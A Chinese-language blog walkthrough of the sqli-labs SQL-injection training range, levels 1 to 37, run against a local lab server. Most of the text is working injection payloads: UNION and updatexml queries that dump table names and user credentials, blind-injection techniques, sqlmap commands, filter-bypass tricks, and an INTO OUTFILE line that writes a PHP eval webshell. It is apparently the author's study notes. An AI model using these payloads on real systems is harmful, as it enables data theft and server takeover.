最近突发奇想,想把之前做过的靶场进行归纳,给自己一个交代给他人一份借鉴,于是就把sqli-labs靶场作为第二篇总结拿来祭笔。
sqli-labs关卡很多,19年开始做一直到22年还没做完,总是断断续续,往返折回,这一次强烈要求自己在空余时间把所有关卡记录到博客,对注入内容进行学习总结。至于代码层面,因功力不足,保持敬畏之心,在此就不误人子弟贻笑大方了。
第一关
题目提示输入ID进行get传参,但需要注意的是这个靶场貌似是区分大小写的,但也可能是自己环境原因,使用大写ID进行传参没有任何回显的,只有输入id才可以传参,这点需要注意。
'报错
如果使用 # 注释不起作用。采用%23或者--+注释都可以#注释,order by爆字段数,4时报错,发现三个字段
union联合查询,判断回显点进行注入,前面的id=-1因为此页面不存在,所以执行后面参数。
查询数据库
http://192.168.124.69/sql-master/Less-1/?id=-1%27%20union%20select%201,database(),3%23
下面使用information_schema一系列操作得到账号密码
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23informationschema.tables该表存放所有表结构table_schema:该字段记录所有数据库名table_name:该字段记录所有数据表名构造这个payload是为了遍历pikachu这个库存在的所有表名现在我们已经知道了pikachu数据库中对应的所有表,继续进行遍历列名,构造payload:
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23information_schema.columns该表提供了所有列的信息,详细表述了某个列属于哪个表column_name:记录所有列名table_name:记录所有数据表名查看账号密码,payload:
-1' union select 1,group_concat(username,"-",password) from users%23
第二关
和第一关相比,闭合方式有所区别,数字型
id=1 order by 3
第三关
与上面相同,,闭合方式不同。
尝试构造闭合方式
第四关
双引号报错,构造闭合,其余与上面相同
第五关
第五关不可以使用union联合查询,页面不输出查询结果,这里采用报错注入绕过,原理解决可以翻看去年文章
updatexml函数-报错注入原理学习_身高两米不到的博客-CSDN博客
过程基本如下:1' and updatexml(1,version(),1)%23
1' and updatexml(1,concat(0x7e,database()),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)),0)%23
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),0)%23
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1)),0)%23
1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)%23
1' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)%23
第六关
闭合方式不同,和第五关相同。
第七关
提示outfile,立刻想到outfile往里写马,先进入数据库,看看secure_file_priv是否开启
MySQL 5.5之后 secure_filepriv 默认是 NULL,这个情况下不可以写文件
本地value的值为NULL,表示禁止
本地value的值有文件夹目录,则表示只允许该目录下文件,在这里我只允许在D盘写入文件
如果为空,则表示不限制目录
这个闭合比较难猜,多尝试尝试
union联合查询进行写马,因为我们知道本地路径,直接写入到phpstudy目录下
真实情况下需要知道网站路径
-1')) union select 1,2,"<?php @eval($_POST['cmd']); ?>" into outfile "D://phpstudy/WWW//test.php" %23
已经成功写入webshell
使用蚁剑进行连接,连接成功,总体来讲,利用条件还是比较苛刻。
第八关
简单的'判断,在加上order by函数,基本可以判定为布尔盲注,如果输入为真页面不会产生变化,如果输入为假则页面会产生变化,根据这个进行判断。
盲注这部分不推荐手注
下文是之间写过的文章复制过来
盲注我在pikachu平台手注研究过,但是工作量实在是太大。思来想去,由于不会写脚本所以决定放弃手注研究一下burpsuite+布尔盲注
如果真的要采用手注那一定是世界上只剩下这一种方法!!!
以下使我手注pikachu部分payload截取,一个小小的txt手写几十k,太残暴了。
首先使用length函数判断当前数据库名称长度,这个可以手动猜测,很快得到长度为8
对数据库对应字母进行爆破,输入payload:1' and substr(database(),1,1)='q'%23进行抓包
发送给intruder,选择第四个爆破方式,给 1,q字母增加变量
因为我们已经知道数据库的长度为8,所以第一个参数就有了
第二个参数把26位英文字母增加进去
因为我已经知道数据库名-security,真实情况下大写也是有可能的
爆破,根据返回长度得到对应数据库名-security
数据库security已经爆破出来,下面猜解表的数量,也是采用手测发现有四个
1'and (select count(*) from information_schema.tables where table_schema=database())=4%23
如果是手注下一步就应该猜测每个表的长度,然后猜测它们对应的每个字母,但是我们采用burpsuite爆破就可以直接给它一个数值范围爆就完了
1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='q'%23
得到第一个表emails
继续爆破,得到各自表
得到表名users
爆破列名,下面就不一一详列,我们只需要得到相关列
得到username和password两列
爆破账号密码DUMB:DUMB
因为这个靶场不区分大写,我这边爆破显示结果就是如此
上面是burp+手注,可以理解为半自动猜解,更推荐sqlmap直接跑
sqlmap -u --dbms=MySQL --random-agent --flush-session --technique=U -v 3 联合注入
sqlmap -u --dbms=MySQL --random-agent --flush-session --technique=E -v 3 报错注入
sqlmap -u --dbms=MySQL --random-agent --flush-session --technique=B -v 3 布尔盲注
sqlmap -u --dbms=MySQL --random-agent --flush-session --technique=T -v 3 时间注入
dbms参数,指定数据库类型;
random-agent,随机生成一个user-agent;
flush-session,清除缓存,网站扫描会生成缓存文件,下次扫描同一网站会调用缓存,如果想重新扫描要添加该命令;
technique命令指定注入方式
第九关
可以使用基于时间的盲注 ,很明显看到页面延时。
id=1' and if(length(database())=8,sleep(5),1)%23
第十关
同第九关相同,没有区别,闭合方式不同
第十一关
burp抓包,'报错,找到注入点,和上面类似,只不过是post型
还可以使用万能密码绕过登录窗口
也可以使用burp抓包,然后保存为1.txt,然后使用sqlmap -r 1.txt进行扫描
在这里学到一个新的sqlmap注入姿势,使用data参数也可以
sqlmap -u xx --date="uname=admin&passwd=111&submit=Submit" -p "uname"
第十二关
闭合方式不同dumb"),同上面相同
第十三关
和上面差不多,只不过一个是get一个是post
首先判断闭合方式
可以使用updatexml注入,不注意括号,命令会失败执行
uname=dumb') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0)#&passwd=admin'&submit=Submit
其余使用extratvalue或者floor函数都是可以的
第十四关
updatexml函数注入绕过,只不过是" 报错,感觉回到了从前
0x15 第十五关
经过判断为盲注
直接使用sqlmp跑就完了, python sqlmap.py -r 1.txt --batch
第十六关
")可以实现,并且存在盲注,上波使用布尔盲注,这里使用时间盲注方式
第十七关
注入点出现在password处,
0x18 第十八关
在user-agent处进行注入,简单尝试 ' 发现存在注入点
1' and updatexml(1,concat(0x7e,database()),1)#,1,1),这里成功回显出数据库名,这里的构造方法是新姿势,学习到了。
第十九关
注入点出现在referer处
第二十关
第二十关考察cookie注入,cookie注入提示了your cookie= 啥玩意的,使用插件进行cookie注入,成功报错,而且很有意思的是使用burp没抓到
到这里,基础注入挑战全部完成,下面进入高级注入挑战。
第二十一关
首先登录,发现返回cookie信息有变化,发现base64加密,需要注意的是每一次输入都需要base64加密再执行否则会失败的。
注入点出现在cookie处,burp改包然后base64进行加密注入。
首先判断闭合方式,根据报错尝试得知闭合为 ') ,然后使用判断字段个数,order by 4
union联合查询,看到数据库名为security
这边又对于information_schem使用有新一步理解,select 语句为一个完整语句
') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')#
') union select 1,2,group_concat(username,0x3a,password) from users#,这个查询就很强,学到。查询出账号密码之间用 : 分隔开
记得base64加密输入
还有个问题,不知道为什么hackbar没有回显,蛮有意思的。
第二十二关
二十二关闭合方式和前面不同,其余没有区别
第二十三关
这里 ' 可以成功报错,尝试过后发现把注释符号给过滤掉,无论是#还是--+又或是%23都不可以,这里需要学习的是闭合姿势
一个是不太常见的注释符号;%00 ,一个是使用 and '1' ='1拼接后面语句使注入能够正常进行
拼接方法一
' order by 4;%00
拼接方法二
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1
拼接方法三
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '
第二十四关
首先我们注册一个用户为 admin '#:123456 的用户,然后对其进行密码修改,然后发现这修改的密码其实直接作为admin用户的密码,就为123
第二十五关
二十五关过滤掉or和and
可以采用双写绕过
1' oorrder by 3%23
id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security')%23
下面不进行展示
第二十五a关
这一关后台使用了函数error_reporting(0)从而关闭报错,而并不是输入的payload有问题
第二十六关
过滤掉空格、注释、and、or。
可代替空格符号:%0a、%0b、%0c、%0d,
id=1' aandnd(extractvalue(1,concat(0x7e,(select(database()))))) aandnd '1'='1
第二十六a关
这关闭合方式有点区别,其它相同
第二十七关
经过几次测试,发现正常空格、注释有问题,这里使用%0a代替空格,;%00代替注释,成功判断出列数。
继续判断?id=-1'%0Aunion%0Aselect%0A1,2,3;%00,发现union、selec被过滤。
尝试大小写绕过,绕过成功,双写绕过也是可以的,下面不再赘述
0'%0auNion%0aselEct%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
第二十七a关
闭合方式不同,其余和上面相同
第二十八关-第二十八a关
这两关环境报错,因为不熟练sql语句,加之工作原因,所以对于报错原因进行搁浅。
翻看网上过滤,基本上和前面差不多。
第二十九关
HTTP参数污染 - 珍惜少年时 - 博客园
本关卡涉及到HTTP参数污染,不同的网站处理参数方式不同,研究原理这事个人不够资格,也怕误导他人,下面借鉴前人造轮子
原理产生原因比较难,但理解运用上没啥问题。
?id=1&id=1' order by 3%23
第三十关
三十关闭合和二十九有些区别,其它无变化。
第三十一关
闭合方式其余相似
第三十二关
尝试 ' 报错,发现很明显的宽字节注入回显,现在的网站很难见到gbk编码网站,下面就不多说了
具体原理可以参考个人去年文章,里面非常详细。
第三十三关
本关卡涉及到函数addslashes()函数,该函数会在 ' " \ 前面加入一个 \ 用来转义
比如a' or 1=1' 转义过后就是a\' or 1=1\' ,这里的编码是gbk,也是用%df拼接吃掉 /,使得实现注入,步骤同上,主要了解该函数作用。
第三十四关
本关卡是使用POST方式绕过addslashes()函数
34题按理说就是一个POST方式绕过,但是使用burp尝试并未成功。
第三十五关
三十五关直接用数字型绕,addslashes()防护做了等于没做。
第三十六关
三十关是绕过mysql_real_escape_string()函数,该函数在遇到以下字符会进行转义以防止恶意注入,这里咱只要关注 ' " / 这三个字符就可以。
还需注意的是,该函数在php5.5.0被弃用,于7.0.0中被删除。
大概知晓该函数作用尝试绕过,也是宽字节注入,和前面区别不大。
第三十七关
三十七关使用post方式传参,burp抓包改包未成功,猜测可能和我php版本有关,暂未找到原因,但是原理都是一样的,只是修改了传参方式而已。
到此处 高级注入部分完成。
总结
原本打算把该靶场一次性全部结束,但因实习工作原因,断断续续写了三周才写完高级注入部分,思来想去暂时结尾,把持更新习惯,把堆叠部分开一新篇章进行总结。